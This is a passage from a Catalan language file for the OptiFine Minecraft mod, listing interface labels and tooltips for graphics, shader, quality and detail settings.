d'OpenGL§f: %s (%s) + +of.message.shaders.loading=Carregant shader: %s + +of.message.other.reset=Restablir tota la configuració gràfica? + +of.message.loadingVisibleChunks=Carregant chunks visibles + +# Skin customization + +of.options.skinCustomisation.ofCape=Capa d'OptiFine... + +of.options.capeOF.title=Capa d'OptiFine +of.options.capeOF.openEditor=Editor de capa d'OptiFine +of.options.capeOF.reloadCape=Recarregar capa + +of.message.capeOF.openEditor=L'editor de capa necesita obrir-se en el teu navegador. +of.message.capeOF.openEditorError=Error al obrir l'enllaç. +of.message.capeOF.reloadCape=La capa es recarregarà en 15 segons. + +of.message.capeOF.error1=Error d'autentificació amb Mojang. +of.message.capeOF.error2=Error: %s + +# Video settings + +options.graphics.tooltip.1=Gràfics +options.graphics.tooltip.2= Ràpids - pitjor qualitat, millor rendiment +options.graphics.tooltip.3= Detallats - millor qualitat, pitjor rendiment +options.graphics.tooltip.4= +options.graphics.tooltip.5=Els canvis s'aprecien en els núvols, en les fulles, +options.graphics.tooltip.6=en la pluja, en els objectes tiras i en les +options.graphics.tooltip.7=puntes (o bordes) de la pantalla del joc. + +of.options.renderDistance.tiny=Mínim +of.options.renderDistance.short=Curt +of.options.renderDistance.normal=Normal +of.options.renderDistance.far=Llunyà +of.options.renderDistance.extreme=Extrem +of.options.renderDistance.insane=Insà +of.options.renderDistance.ludicrous=A lo bestia + +options.renderDistance.tooltip.1= 2 Mínimo - 32m (increíblement ràpid) +options.renderDistance.tooltip.2= 4 Corto - 64m (ràpid) +options.renderDistance.tooltip.3= 8 Normal - 128m (recomenat) +options.renderDistance.tooltip.4= 16 Lejano - 256m (pot anar lent) +options.renderDistance.tooltip.5= 32 Extremo - 512m (pot anar horrible!) +options.renderDistance.tooltip.6= 48 Insano - 768m, requereix utilitzar 2GB de RAM +options.renderDistance.tooltip.7= 64 A lo bestia - 1024m, requereix utilitzar 3GB de RAM +options.renderDistance.tooltip.8=A partir de 16 chunks serà inútil en multijugador. + +options.ao.tooltip.1=Iluminació suau +options.ao.tooltip.2= NO - sense iluminació suau (ràpid) +options.ao.tooltip.3= Mínim - iluminació suau simple (lent) +options.ao.tooltip.4= Màxim - iluminació suau avançada (més lent) + +options.framerateLimit.tooltip.1=Límit de FPS +options.framerateLimit.tooltip.2= VSync - limita els FPS segons el teu monitor (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - límit personalitzable +options.framerateLimit.tooltip.4= Sense límit - tots els FPS posibles (recomendado) +options.framerateLimit.tooltip.5= +options.framerateLimit.tooltip.6=Al establir un límit, els FPS poden +options.framerateLimit.tooltip.7=disminuir si arriben a alcanzarlo. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Nivell de suavitat +of.options.AO_LEVEL.tooltip.1=Nivell de l'iluminació suau +of.options.AO_LEVEL.tooltip.2= NO - sense ombres +of.options.AO_LEVEL.tooltip.3= 50%% - poques ombres +of.options.AO_LEVEL.tooltip.4= 100%% - ombres fosques + +options.viewBobbing.tooltip.1=Un movimient més realista. +options.viewBobbing.tooltip.2=Desactíva'l al utilitzar mipmap per a que sigui millor. + +options.guiScale.tooltip.1=Mida d'interfaç (GUI) +options.guiScale.tooltip.2= Auto. - tamany màxim +options.guiScale.tooltip.3= Petit, normal i gran - desde 1x fins a 3x +options.guiScale.tooltip.4= Desde 4x fins a 10x - disponible en pantalles 4K. +options.guiScale.tooltip.5= +options.guiScale.tooltip.6=Els valors impars (1x, 3x, 5x...) no són compatibles +options.guiScale.tooltip.7=amb la font unicode. +options.guiScale.tooltip.8=Una interfaç petita pot millorar el rendiment. + +options.vbo=utilitzar VBOs +options.vbo.tooltip.1=Vertex Buffer Objects (abreviat como VBO) +options.vbo.tooltip.2= +options.vbo.tooltip.3=Es un tipus de renderitzat alternatiu que sol ser +options.vbo.tooltip.4=més ràpid que el predeterminat (un 5-10%%). + +options.gamma.tooltip.1=Modifica la brillantor +options.gamma.tooltip.2= Fosc - brillantor per defecte +options.gamma.tooltip.3= 1-99%% - brillantor personalizada +options.gamma.tooltip.4= Clar - brillantor al màxim +options.gamma.tooltip.5= +options.gamma.tooltip.6=Aquesta opció no cambia completament +options.gamma.tooltip.7=la brillantor dels objectes més foscos. + +options.anaglyph.tooltip.1=Visió en 3D +options.anaglyph.tooltip.2=Activar un efecte estereoscópic utilitzant un color +options.anaglyph.tooltip.3=diferente per a cada ull. +options.anaglyph.tooltip.4=NOTA: Requereix ulleres anaglífiques (vermelles i blaves). + +options.attackIndicator.tooltip.1=Modifica l'ubicación de l'indicador d'atac +options.attackIndicator.tooltip.2= MIRA - sota de la mira central +options.attackIndicator.tooltip.3= BARRA - a prop de la barra d'objectes +options.attackIndicator.tooltip.4= NO - sense indicador d'atac +options.attackIndicator.tooltip.5= +options.attackIndicator.tooltip.6=S'indica la força d'atac de +options.attackIndicator.tooltip.7=l'objecte que tinguis en la mà principal. + +of.options.ALTERNATE_BLOCKS=Blocs alternatius +of.options.ALTERNATE_BLOCKS.tooltip.1=Blocs amb textures alternatives +of.options.ALTERNATE_BLOCKS.tooltip.2=Utilitzar textures alternatives per a un mateix bloc. +of.options.ALTERNATE_BLOCKS.tooltip.3=Depen del paquet de recursos utilitzat. + +of.options.FOG_FANCY=Boira +of.options.FOG_FANCY.tooltip.1=Tipus de boira +of.options.FOG_FANCY.tooltip.2= Ràpids - boira més ràpida, es veu cutre +of.options.FOG_FANCY.tooltip.3= Detallats - boira més lenta, es veu millor +of.options.FOG_FANCY.tooltip.4= NO - sense boira, superràpid +of.options.FOG_FANCY.tooltip.5=La boira detallada només està disponible si +of.options.FOG_FANCY.tooltip.6=la teva tarjeta gràfica ho permet. + +of.options.FOG_START=Distància de boira +of.options.FOG_START.tooltip.1=Distància a la que comença la boira +of.options.FOG_START.tooltip.2= 0.2 - la boira estarà a prop +of.options.FOG_START.tooltip.3= 0.8 - la boira estarà lluny +of.options.FOG_START.tooltip.4=Aquesta opció no sol afectar al rendiment. + +of.options.CHUNK_LOADING=Càrrega de chunks +of.options.CHUNK_LOADING.tooltip.1=Velocitat de càrrega de chunks +of.options.CHUNK_LOADING.tooltip.2= Per defecto - FPS inestables al carregar chunks +of.options.CHUNK_LOADING.tooltip.3= Suau - FPS estables +of.options.CHUNK_LOADING.tooltip.4= Multi-núcli - FPS estables i una velocitat 3 vegades superior +of.options.CHUNK_LOADING.tooltip.5=Les opcions "Suau" i "Multi-núcli" eliminen els tirons i +of.options.CHUNK_LOADING.tooltip.6=la lentitut causada per la càrrega de chunks. +of.options.CHUNK_LOADING.tooltip.7=Multi-núcli pot accelerar la càrrega fins a 3 vegades més i +of.options.CHUNK_LOADING.tooltip.8=millorar els FPS al utilitzar un segon núcli de la CPU. +of.options.chunkLoading.smooth=Suau +of.options.chunkLoading.multiCore=Multi-núcli + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=(SENSE SHADERS) +of.options.shaders.packDefault=(SHADERS INTERNS) + +of.options.shaders.ANTIALIASING=Antialiàsing +of.options.shaders.ANTIALIASING.tooltip.1=Nivel de antialiàsing +of.options.shaders.ANTIALIASING.tooltip.2= NO - per defecte (ràpid) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - millora línias i puntes (més lent) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA es un efecte de postprocessament que suavitza +of.options.shaders.ANTIALIASING.tooltip.5="dents de serra" i transicions de color. +of.options.shaders.ANTIALIASING.tooltip.6=Funciona millor que l'antialiàsing comú, i +of.options.shaders.ANTIALIASING.tooltip.7=es compatible amb Renderitzat ràpid i shaders. + +of.options.shaders.NORMAL_MAP=Mapejat normal +of.options.shaders.NORMAL_MAP.tooltip.1=També anomenat Normal Map +of.options.shaders.NORMAL_MAP.tooltip.2= Sà - (per defecte) +of.options.shaders.NORMAL_MAP.tooltip.3= NO +of.options.shaders.NORMAL_MAP.tooltip.4=Pot ser utilitzat per shaders per a simular geometría 3D +of.options.shaders.NORMAL_MAP.tooltip.5=en superficies planes. +of.options.shaders.NORMAL_MAP.tooltip.6= +of.options.shaders.NORMAL_MAP.tooltip.7=No tots els shaders soporten aquesta opció. + +of.options.shaders.SPECULAR_MAP=Mapejat especular +of.options.shaders.SPECULAR_MAP.tooltip.1=També anomenat Specular Map +of.options.shaders.SPECULAR_MAP.tooltip.2= Sà - (per defecte) +of.options.shaders.SPECULAR_MAP.tooltip.3= NO +of.options.shaders.SPECULAR_MAP.tooltip.4=Aquesta opció pot ser utilitzada per shaders per a simular +of.options.shaders.SPECULAR_MAP.tooltip.5=un efecte de reflexió especial. +of.options.shaders.SPECULAR_MAP.tooltip.6= +of.options.shaders.SPECULAR_MAP.tooltip.7=No tots els shaders soporten aquesta opció. + + +of.options.shaders.RENDER_RES_MUL=Qualitat render. +of.options.shaders.RENDER_RES_MUL.tooltip.1=Qualitat de renderitzat del joc +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - baix (més ràpid, més borrós) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - normal (per defecte) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - alt (més lent, més qualitat) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Controla la resolució interna a la que es renderitza. +of.options.shaders.RENDER_RES_MUL.tooltip.6= +of.options.shaders.RENDER_RES_MUL.tooltip.7=Valor baix = aumenta el rendiment. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Valor alt = serveix com antialiàsing. + +of.options.shaders.SHADOW_RES_MUL=Qualitat d'ombres +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Qualitat d'ombres +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - baix (més ràpid) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - normal (per defecte) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - alt (més lent) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Controla el mapejat d'ombres dels shaders. +of.options.shaders.SHADOW_RES_MUL.tooltip.6= +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Valor baix = borroses, línies gruixudes. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Valor alt = detallades, línies definides. + +of.options.shaders.HAND_DEPTH_MUL=Pr. de camp +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Profunditat de camp +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - mà a prop de la càmera +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (per defecte) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - mà lluny de la càmera +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=Controla la distància entre la mà i la càmera. +of.options.shaders.HAND_DEPTH_MUL.tooltip.6= +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Pot cambiar el desenfoc produit en la mà +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=pels shaders que utilitzen blur. + +of.options.shaders.CLOUD_SHADOW=Ombres de núvols + +of.options.shaders.OLD_HAND_LIGHT=LC mans +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Llum clàssica (LC) a la mà +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Per defecte - controlat per shaders +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Sà - utilitzar el sistema clàssic +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= NO - utilitzar el sistema nou +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=La llum clàssica permet que els objectes dissenyats +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=per a emitir llum en la mà principal, també +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=ho facin en la mà secundaria. + +of.options.shaders.OLD_LIGHTING=LC +of.options.shaders.OLD_LIGHTING.tooltip.1=Llum clàssica (LC) +of.options.shaders.OLD_LIGHTING.tooltip.2= Per defecte - controlat per shaders +of.options.shaders.OLD_LIGHTING.tooltip.3= Sà - utilitzar el sistema clàssic +of.options.shaders.OLD_LIGHTING.tooltip.4= NO - utilitzar el sistema nou +of.options.shaders.OLD_LIGHTING.tooltip.5=La llum clàssica controla l'iluminació estàtica de +of.options.shaders.OLD_LIGHTING.tooltip.6=Minecraft normal als costats del bloc. +of.options.shaders.OLD_LIGHTING.tooltip.7=Alguns shaders solen proporcionar una iluminación +of.options.shaders.OLD_LIGHTING.tooltip.8=millorada que varía segons la posició del sol. + +of.options.shaders.DOWNLOAD=Descarregar shaders +of.options.shaders.DOWNLOAD.tooltip.1= +of.options.shaders.DOWNLOAD.tooltip.2=Per a descarregarte un paquet de shaders: +of.options.shaders.DOWNLOAD.tooltip.3=1. Obre la web de shaders en el teu navegador. +of.options.shaders.DOWNLOAD.tooltip.4=2. Descarregat els shaders que t'agradin. +of.options.shaders.DOWNLOAD.tooltip.5=3. Obre "Carpeta de shaders" i copíales. +of.options.shaders.DOWNLOAD.tooltip.6= +of.options.shaders.DOWNLOAD.tooltip.7=Fàcil, senzill i per a tota la família. + +of.options.shaders.SHADER_PACK=Paquet de shaders + +of.options.shaders.shadersFolder=Carpeta de shaders +of.options.shaders.shaderOptions=Opcions de shader... + +of.options.shaderOptionsTitle=Opcions de shader + +of.options.quality=Qualitat... +of.options.qualityTitle=Opcions de qualitat gràfica + +of.options.details=Detalls... +of.options.detailsTitle=Opcions de detalls gràfics + +of.options.performance=Rendiment... +of.options.performanceTitle=Opcions de rendiment + +of.options.animations=Animacions... +of.options.animationsTitle=Activar o desactivar animacions + +of.options.other=Opcions varies... +of.options.otherTitle=Opcions varies + +of.options.other.reset=Restablir tota la configuració... + +of.shaders.profile=Perfil + +# Quality + +of.options.mipmap.bilinear=Bilinial +of.options.mipmap.linear=Linial +of.options.mipmap.nearest=Proper +of.options.mipmap.trilinear=Trilinial + +options.mipmapLevels.tooltip.1=Efecte visual que fa que els objectes llunyans lluin +options.mipmapLevels.tooltip.2=millor gracies a que suavitza els detalls de la seva textura +options.mipmapLevels.tooltip.3= +options.mipmapLevels.tooltip.4= NO - sense suavitzat +options.mipmapLevels.tooltip.5= 1 - suavitzat mínim +options.mipmapLevels.tooltip.6= 4 - suavitzat màxim +options.mipmapLevels.tooltip.7= +options.mipmapLevels.tooltip.8=Normalment aquesta opció no afecta al rendiment. + +of.options.MIPMAP_TYPE=Tipus de mipmap +of.options.MIPMAP_TYPE.tooltip.1=Efecte visual que fa que els objectes llunyans lluin +of.options.MIPMAP_TYPE.tooltip.2=millor gracies a que suavitza els detalls de la seva textura +of.options.MIPMAP_TYPE.tooltip.3= +of.options.MIPMAP_TYPE.tooltip.4= Proper - suavitzat brut (més ràpid) +of.options.MIPMAP_TYPE.tooltip.5= Linial - suavitzat normal +of.options.MIPMAP_TYPE.tooltip.6= Bilinial - suavitzat fi +of.options.MIPMAP_TYPE.tooltip.7= Trilinial - suavitzat molt fi (més lent) + + +of.options.AA_LEVEL=Antialiàsing +of.options.AA_LEVEL.tooltip.1=Antialiàsing suavitza línies i bores dels blocs +of.options.AA_LEVEL.tooltip.2= NO - (per defecte) sense antialiàsing (més ràpid) +of.options.AA_LEVEL.tooltip.3= 2-16 - nivell de suavitzat de l'antialiàsing (més lent) +of.options.AA_LEVEL.tooltip.4= +of.options.AA_LEVEL.tooltip.5= Suavitza els dents de serra i millora la nitidesa. +of.options.AA_LEVEL.tooltip.6=Els FPS poden disminuir considerablemente al activar-se. +of.options.AA_LEVEL.tooltip.7=Algunes targetes gràfiques no suportan tots els nivells. +of.options.AA_LEVEL.tooltip.8= El canvi serà aplicat al REINICIAR el joc! + +of.options.AF_LEVEL=Anisotròpic +of.options.AF_LEVEL.tooltip.1=Filetr anisotròpic +of.options.AF_LEVEL.tooltip.2= NO - (per defecte) detall normal de textures (ràpid) +of.options.AF_LEVEL.tooltip.3= 2-16 - refinar textures al utilitzar mipmap (més lent) +of.options.AF_LEVEL.tooltip.4= +of.options.AF_LEVEL.tooltip.5= +of.options.AF_LEVEL.tooltip.6=Aquest filtre recupera detalls a l'utilitzar mipmap. +of.options.AF_LEVEL.tooltip.7=Els FPS poden disminuir considerablemente al activar-se. + +of.options.CLEAR_WATER=Aigües cristalines +of.options.CLEAR_WATER.tooltip.1=Aigües cristalines +of.options.CLEAR_WATER.tooltip.2= Sà - aigua neta i transparent +of.options.CLEAR_WATER.tooltip.3= NO - aigua predeterminada del joc + +of.options.RANDOM_ENTITIES=Entitats aleatories +of.options.RANDOM_ENTITIES.tooltip.1=Si una entitat té més d'una textura... +of.options.RANDOM_ENTITIES.tooltip.2= NO - una única textura, més ràpid +of.options.RANDOM_ENTITIES.tooltip.3= Sà - textures aleatorias, més lent +of.options.RANDOM_ENTITIES.tooltip.4= +of.options.RANDOM_ENTITIES.tooltip.5=Requereix un paquet de recursos que tingui varies +of.options.RANDOM_ENTITIES.tooltip.6=textures per a una mateixa entitat. + +of.options.BETTER_GRASS=Gespa millorada +of.options.BETTER_GRASS.tooltip.1=Textura dels costats del bloc de gespa millorada +of.options.BETTER_GRASS.tooltip.2= NO - gespa normal (per defecte), més ràpid +of.options.BETTER_GRASS.tooltip.3= Ràpids - tot el bloc ple de gespa, més lent +of.options.BETTER_GRASS.tooltip.4= Detallats - textura dinàmica, molt més lent + +of.options.BETTER_SNOW=Neu millorada +of.options.BETTER_SNOW.tooltip.1=Neu millorada +of.options.BETTER_SNOW.tooltip.2= NO - neu predeterminada, més ràpid +of.options.BETTER_SNOW.tooltip.3= Sà - neu millorada, més lent +of.options.BETTER_SNOW.tooltip.4= +of.options.BETTER_SNOW.tooltip.5=Mostrar neu baix dels blocs transparents +of.options.BETTER_SNOW.tooltip.6=(valles, herbes) al bordejar-los amb neu. + +of.options.CUSTOM_FONTS=Fonts personalitzades +of.options.CUSTOM_FONTS.tooltip.1=Fonts personalitzades +of.options.CUSTOM_FONTS.tooltip.2= Sà - utilitzar personalitzades (per defecte), més lent +of.options.CUSTOM_FONTS.tooltip.3= NO - utilitzar la predeterminada, més ràpido +of.options.CUSTOM_FONTS.tooltip.4= +of.options.CUSTOM_FONTS.tooltip.5=Alguns paquets de recursos tenen fonts +of.options.CUSTOM_FONTS.tooltip.6=personalitzades. + +of.options.CUSTOM_COLORS=Colors personalitzats +of.options.CUSTOM_COLORS.tooltip.1=Colors personalitzats +of.options.CUSTOM_COLORS.tooltip.2= Sà - colors personalitzats (per defecte), més lent +of.options.CUSTOM_COLORS.tooltip.3= NO - colors predeterminats, més ràpid +of.options.CUSTOM_COLORS.tooltip.4= +of.options.CUSTOM_COLORS.tooltip.5=Alguns paquets de recursos tenen colors +of.options.CUSTOM_COLORS.tooltip.6=personalitzats. + +of.options.SWAMP_COLORS=Color de pantans +of.options.SWAMP_COLORS.tooltip.1=Color de pantans +of.options.SWAMP_COLORS.tooltip.2= Sà - color en pantans (per defecte), més lent +of.options.SWAMP_COLORS.tooltip.3= NO - sense color en els pantans, més ràpid +of.options.SWAMP_COLORS.tooltip.4=Afecta a: gespa, aigua, fulles i enredaderes. + +of.options.SMOOTH_BIOMES=Suavitzar biomes +of.options.SMOOTH_BIOMES.tooltip.1=Suavitzar transició entre biomes +of.options.SMOOTH_BIOMES.tooltip.2= Sà - suavitzar canvi entre biomes (per defecte), més lent +of.options.SMOOTH_BIOMES.tooltip.3= NO - no suavizar cambio entre biomas, más rápido +of.options.SMOOTH_BIOMES.tooltip.4= +of.options.SMOOTH_BIOMES.tooltip.5=El suavitzat es realitza mitjant un degradat de color +of.options.SMOOTH_BIOMES.tooltip.6=als blocs propers al límit de cada bioma. +of.options.SMOOTH_BIOMES.tooltip.7=Afecta a: gespa, aigua, fulles i enredaderes. + +of.options.CONNECTED_TEXTURES=Blocs units +of.options.CONNECTED_TEXTURES.tooltip.1=Unir textures de certs blocs +of.options.CONNECTED_TEXTURES.tooltip.2= NO - no unirles (per defecte) +of.options.CONNECTED_TEXTURES.tooltip.3= Ràpids - unir-les de forma ràpida +of.options.CONNECTED_TEXTURES.tooltip.4= Detallats - unir-les de forma millorada +of.options.CONNECTED_TEXTURES.tooltip.5= +of.options.CONNECTED_TEXTURES.tooltip.6=Unir les textures dels cristals, de l'arenisca i de +of.options.CONNECTED_TEXTURES.tooltip.7=les llibreries al juntar els blocs. +of.options.CONNECTED_TEXTURES.tooltip.8=No tots els paquets de recursos soporten aquesta opció. + +of.options.NATURAL_TEXTURES=Textures naturals +of.options.NATURAL_TEXTURES.tooltip.1=Textures naturals +of.options.NATURAL_TEXTURES.tooltip.2= NO - sense textures naturals (per defecte) +of.options.NATURAL_TEXTURES.tooltip.3= Sà - amb textures naturals +of.options.NATURAL_TEXTURES.tooltip.4=Aquesta opció elimina el patró dels blocs +of.options.NATURAL_TEXTURES.tooltip.5=que es crea al posar blocs del mateix tipus. +of.options.NATURAL_TEXTURES.tooltip.6=S'utilitzen variants rotades i voltejades de la textura +of.options.NATURAL_TEXTURES.tooltip.7=base del bloc. +of.options.NATURAL_TEXTURES.tooltip.8=No tots els paquets de recursos soporten aquesta opció. + +of.options.EMISSIVE_TEXTURES=Textures emissives +of.options.EMISSIVE_TEXTURES.tooltip.1=Textures emissives +of.options.EMISSIVE_TEXTURES.tooltip.2= NO - sense textures emissives (per defecte) +of.options.EMISSIVE_TEXTURES.tooltip.3= Sà - amb textures emissives +of.options.EMISSIVE_TEXTURES.tooltip.4=Les textures emissives apareixen superposades amb +of.options.EMISSIVE_TEXTURES.tooltip.5=la brillantor al màxim. Poden utilitzar-se per a simular +of.options.EMISSIVE_TEXTURES.tooltip.6=emisió de llum en certes parts d'una textura base. +of.options.EMISSIVE_TEXTURES.tooltip.7= +of.options.EMISSIVE_TEXTURES.tooltip.8=No tots els paquets de recursos soporten aquesta opció. + +of.options.CUSTOM_SKY=Cel personalitzat +of.options.CUSTOM_SKY.tooltip.1=Textura personalitzada del cel +of.options.CUSTOM_SKY.tooltip.2= Sà - cel personalitzat (per defecte), més lent +of.options.CUSTOM_SKY.tooltip.3= NO - cel predeterminat, més ràpid +of.options.CUSTOM_SKY.tooltip.4= +of.options.CUSTOM_SKY.tooltip.5=No tots els paquets de recursos soporten aquesta opció. + +of.options.CUSTOM_ITEMS=Objectes personalitzats +of.options.CUSTOM_ITEMS.tooltip.1=Textura personalitzada d'objectes (items) +of.options.CUSTOM_ITEMS.tooltip.2= Sà - objectes personalitzats (per defecte), més lent +of.options.CUSTOM_ITEMS.tooltip.3= NO - objectes predeterminats, més ràpid +of.options.CUSTOM_ITEMS.tooltip.4= +of.options.CUSTOM_ITEMS.tooltip.5=No tots els paquets de recursos soporten aquesta opció. + +of.options.CUSTOM_ENTITY_MODELS=Entitats personalitzades +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Textura personalitzada de les entitats +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= Sà - variar models d'entitats (per defecte), més lent +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= NO - utilitzar models predeterminats, més ràpid +of.options.CUSTOM_ENTITY_MODELS.tooltip.4= +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=No tots els paquets de recursos soporten aquesta opció. + +of.options.CUSTOM_GUIS=Interfaç personalitzada +of.options.CUSTOM_GUIS.tooltip.1=Interfaç del joc (GUI) personalitzada +of.options.CUSTOM_GUIS.tooltip.2= Sà - interfaç personalitzada (per defecte), més lent +of.options.CUSTOM_GUIS.tooltip.3= NO - interfaç original, més ràpido +of.options.CUSTOM_GUIS.tooltip.4= +of.options.CUSTOM_GUIS.tooltip.5=No tots els paquets de recursos soporten aquesta opció. + +# Details + +of.options.CLOUDS=Núvols +of.options.CLOUDS.tooltip.1=Qualitat dels núvols +of.options.CLOUDS.tooltip.2= Per defecte - depen de l'ajust de gràfics +of.options.CLOUDS.tooltip.3= Ràpids - pitjor qualitat, millor rendiment +of.options.CLOUDS.tooltip.4= Detallats - major qualitat, pitjor rendiment +of.options.CLOUDS.tooltip.5= NO - sense núvols, rendiment superràpid +of.options.CLOUDS.tooltip.6= +of.options.CLOUDS.tooltip.7=Els núvols ràpids es renderitzen en 2D. +of.options.CLOUDS.tooltip.8=Els núvols detallats es renderitzen en 3D. + +of.options.CLOUD_HEIGHT=Elevació de núvols +of.options.CLOUD_HEIGHT.tooltip.1=Editar altura a la que es mostren els núvols +of.options.CLOUD_HEIGHT.tooltip.2= NO - altura per defecte +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - damunt del límit del món + +of.options.TREES=Arbres +of.options.TREES.tooltip.1=Qualitat de fulles d'arbres +of.options.TREES.tooltip.2= Per defecte - depen de l'adjust de gràficos +of.options.TREES.tooltip.3= Ràpids - baixa qualitat, millor rendiment +of.options.TREES.tooltip.4= Intel·ligents - més qualitat, rendiment mitjà +of.options.TREES.tooltip.5= Detallats - màxima qualitat, pitjor rendiment +of.options.TREES.tooltip.6= +of.options.TREES.tooltip.7=La qualitat ràpida deixarà las fulles sense transparencia. +of.options.TREES.tooltip.8="Detallats" e "Intel·ligents" si mantenen la transparencia. + +of.options.RAIN=Pluja/Neu +of.options.RAIN.tooltip.1=Pluja i neu +of.options.RAIN.tooltip.2= Per defecte - depen de l'adjust de gràfics +of.options.RAIN.tooltip.3= Ràpids - pluja/neu lleugera, més ràpid +of.options.RAIN.tooltip.4= Detallats - pluja/neu intensa, més lent +of.options.RAIN.tooltip.5= NO - sense pluja/neu, més ràpid +of.options.RAIN.tooltip.6= +of.options.RAIN.tooltip.7=Encara que es desactivi la pluja, el só +of.options.RAIN.tooltip.8=segueix estant actiu. + +of.options.SKY=Cel +of.options.SKY.tooltip.1=Cel +of.options.SKY.tooltip.2= Sà - cel visible, més lent +of.options.SKY.tooltip.3= NO - cel no visible, més ràpid +of.options.SKY.tooltip.4= +of.options.SKY.tooltip.5=Encara que es desactivi, la Lluna i el Sol es podràn +of.options.SKY.tooltip.6=seguir veient. + +of.options.STARS=Cel estrellat +of.options.STARS.tooltip.1=Visibilitat d'estrelles en el cel nocturn +of.options.STARS.tooltip.2= Sà - estrelles, més lent +of.options.STARS.tooltip.3= NO - sense estrelles, més ràpido + +of.options.SUN_MOON=Sol/Lluna +of.options.SUN_MOON.tooltip.1=Visibilitat del Sol i la Lluna +of.options.SUN_MOON.tooltip.2= Sà - el Sol i la Lluna Sà són visibles (per defecte) +of.options.SUN_MOON.tooltip.3= NO - el Sol i la Luna NO són visibles (ràpid) + +of.options.SHOW_CAPES=Capes +of.options.SHOW_CAPES.tooltip.1=Capes de jugadors +of.options.SHOW_CAPES.tooltip.2= Sà - mostrar les capes dels jugadors (per defecte) +of.options.SHOW_CAPES.tooltip.3= NO - ocultar les capes dels jugadors +of.options.capeOF.copyEditorLink=Copiar enllaç + +of.options.TRANSLUCENT_BLOCKS=Bl. translúcids +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Blocs translúcids +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Detallats - mescla de colors perfecta (per defecte) +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Ràpids - mescla de colors cutre (més ràpid) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Aquesta opció afecta als blocs translúcids que tenen +of.options.TRANSLUCENT_BLOCKS.tooltip.6=color pero només quan es coloquen un derrera l'altre +of.options.TRANSLUCENT_BLOCKS.tooltip.7=amb un bloc buit entremig. +of.options.TRANSLUCENT_BLOCKS.tooltip.8=Afecta a: vidre tintat, aigua, gel... + +of.options.HELD_ITEM_TOOLTIPS=Text en barra inferior +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Nom d'objectes en la barra inferior +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= Sà - mostrar noms (per defecte) +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= NO - no mostrar noms (com antiguament) + +of.options.DROPPED_ITEMS=Objectes +of.options.DROPPED_ITEMS.tooltip.1=Qualitat dels objectes en el terra sense recollir +of.options.DROPPED_ITEMS.tooltip.2= Per defecte - depen de l'adjust de gràfics +of.options.DROPPED_ITEMS.tooltip.3= Rápidos - objectes en 2D, més ràpido +of.options.DROPPED_ITEMS.tooltip.4= Detallats - objectes en 3D, més lent pero més bonic + +options.entityShadows.tooltip.1=Ombres d'entitats +options.entityShadows.tooltip.2= Sà - mostrar ombres en las entitats +options.entityShadows.tooltip.3= NO - no mostrar ombres en les entitats + +of.options.VIGNETTE=Costats +of.options.VIGNETTE.tooltip.1=(Efect vinyeta) enfosqueix les puntes de la pantalla +of.options.VIGNETTE.tooltip.2= Per defecte - depen de l'adjust de gràfics +of.options.VIGNETTE.tooltip.3= Ràpids - efecte vinyeta desactivat (més ràpid) +of.options.VIGNETTE.tooltip.4= Detallats - efecte vinyeta activat (més lent) +of.options.VIGNETTE.tooltip.5= +of.options.VIGNETTE.tooltip.6=Els FPS poden disminuir considerablement al activar-se, +of.options.VIGNETTE.tooltip.7=sobretot en pantalla completa. +of.options.VIGNETTE.tooltip.8=L'efecto vinyeta es pot deshabilitar sense cap problema. + +of.options.DYNAMIC_FOV=Camp de visió dinàmic +of.options.DYNAMIC_FOV.tooltip.1=Camp de visió dinàmic +of.options.DYNAMIC_FOV.tooltip.2= Sà - activar-lo (per defecte) +of.options.DYNAMIC_FOV.tooltip.3= NO - desactivar-lo +of.options.DYNAMIC_FOV.tooltip.4= +of.options.DYNAMIC_FOV.tooltip.5=Cambiar el camp de visió (FOV) al volar, córrer o +of.options.DYNAMIC_FOV.tooltip.6=apuntar amb un arc. + +of.options.DYNAMIC_LIGHTS=Ilum. dinàmica +of.options.DYNAMIC_LIGHTS.tooltip.1=Iluminació dinàmica +of.options.DYNAMIC_LIGHTS.tooltip.2= NO - sense (per defecte) +of.options.DYNAMIC_LIGHTS.tooltip.3= Ràpids - bàsica (s'actualitza cada 500ms) 